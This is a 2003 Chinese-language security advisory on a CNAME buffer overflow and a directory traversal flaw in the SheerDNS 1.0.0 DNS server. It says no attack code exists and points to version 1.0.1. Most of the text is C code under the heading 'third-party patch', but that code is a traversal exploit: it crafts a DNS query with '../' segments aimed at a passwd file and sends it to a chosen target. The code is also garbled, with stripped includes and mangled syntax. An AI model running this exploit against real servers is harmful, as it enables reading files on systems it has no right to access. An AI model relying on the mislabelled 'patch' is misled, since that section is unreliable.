积极预防 及时发现
快速响应 力保恢复
SheerDNS 存在多个缺陷 (Other,缺陷)
发布时间:2003-04-17 信息来源:管理员

涉及程序: SheerDNS 1.0.0版 描述: SheerDNS 存在多个缺陷 详细: SheerDNS是一款master DNS 服务器程序,由于程序将每个记录都分别存储在对应文件中,在更新的过程中不需要让服务器重启,并且更新将立即应用到服务中。 SheerDNS 1.0.0版存在两个主要缺陷: ·处理CNAME时存在缓冲溢出缺陷:当程序接收到CNAME请求时,将产生响应,相应代码为sheerdns.c的第385行代码: strcpy ((char *) query, lookup_results<0>); 程序对于查询请求将分配一个大小为256字节的堆缓冲区,但lookup_results<0>函数能处理多达1024字节的数据,攻击者通过向目标机器提供精心构造的超长字节的请求,能触发缓冲溢出缺陷。 ·directory_lookup()函数存在目录遍历缺陷:SheerDNS响应请求将直接从文件调用数据,如果请求一个 范围的 记录,能阅读下列位置的文件: /var/sheerdns/ / 由于SheerDNS程序不能拒绝被请求的范围,此外SheerDNS程序是以root权限运行,并且不能chroot(Change Root),攻击者通过向目标服务器提供精心构造的恶意请求,能阅读任意目录。 攻击方法: 暂无有效攻击代码 解决方案: SheerDNS 1.0.1版修正了该缺陷,请用户及时访问厂商站点进行升级: http://threading.2038bug.com/sheerdns/ 第三方补丁: #include #include #include #include #include #include #include #include #include void fill(char * const msg_, size_t *len) { register char *msg = msg_; /* ID */ *msg++ = 2; *msg++ = 4; /* QR/OPCODE/AA/TC/RD/RA/Z */ *msg++ = 5; *msg++ = 0; /* QDCOUNT */ *msg++ = 0; *msg++ = 1; /* ANCOUNT */ *msg++ = 0; *msg++ = 0; /* NSCOUNT */ *msg++ = 0; *msg++ = 0; /* ARCOUNT */ *msg++ = 0; *msg++ = 0; /* QUERY */ *msg++ = 3; strcpy(msg, "../"); msg += 3; *msg++ = 2; strcpy(msg, "./"); msg += 2; *msg++ = 2; strcpy(msg, "./"); msg += 2; *msg++ = 2; strcpy(msg, "./"); msg += 2; *msg++ = 2; strcpy(msg, "./"); msg += 2; *msg++ = 12; strcpy(msg, "/tmp/passwd"); msg += 11; *msg++ = 0; *msg++ = 0; /* QTYPE */ *msg++ = 0; *msg++ = 1; /* QCLASS */ *msg++ = 0; *msg++ = 1; /* FCS */ *msg++ = 0xc8; *msg++ = 0x4c; /* STOP */ *msg++ = 0x7e; *len = (size_t) (msg - msg_); } void usage(const char * const prgname) { printf("Usage : %s <-s > -t \n", prgname); exit(0); } int main(int argc, char *argv<>) { char msg<65500>; struct addrinfo hints, *res; const char *source_host = NULL; const char *target_host = NULL; size_t len; int kindy; int fodder; while ((fodder = getopt(argc, argv, "s:t:")) != -1) { switch (fodder) { case `s` : if ((source_host = strdup(optarg)) == NULL) { perror("strdup"); return 1; } break; case `t` : if ((target_host = strdup(optarg)) == NULL) { perror("strdup"); return 1; } break; default : usage(argv<0>); } } if (source_host == NULL || target_host == NULL) { usage(argv<0>); } fill(msg, &len); memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_addr = NULL; if ((fodder = getaddrinfo(source_host, NULL, &hints, &res)) != 0) { fprintf(stderr, \"getaddrinfo : %s\\n\", gai_strerror(fodder)); return 1; } if ((kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror(\"socket\"); return 1; } if (bind(kindy, (struct sockaddr *) res->ai_addr, res->ai_addrlen) != 0) { perror(\"bind\"); return 1; } memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_addr = NULL; if ((fodder = getaddrinfo(target_host, \"domain\", &hints, &res)) != 0) { fprintf(stderr, \"getaddrinfo : %s\\n\", gai_strerror(fodder)); return 1; } if (sendto(kindy, msg, len, 0, (const struct sockaddr *) res->ai_addr, (socklen_t) res->ai_addrlen) <= (ssize_t) 0) { perror(\"sendto\"); return 1; } (void) close(kindy); return 0; }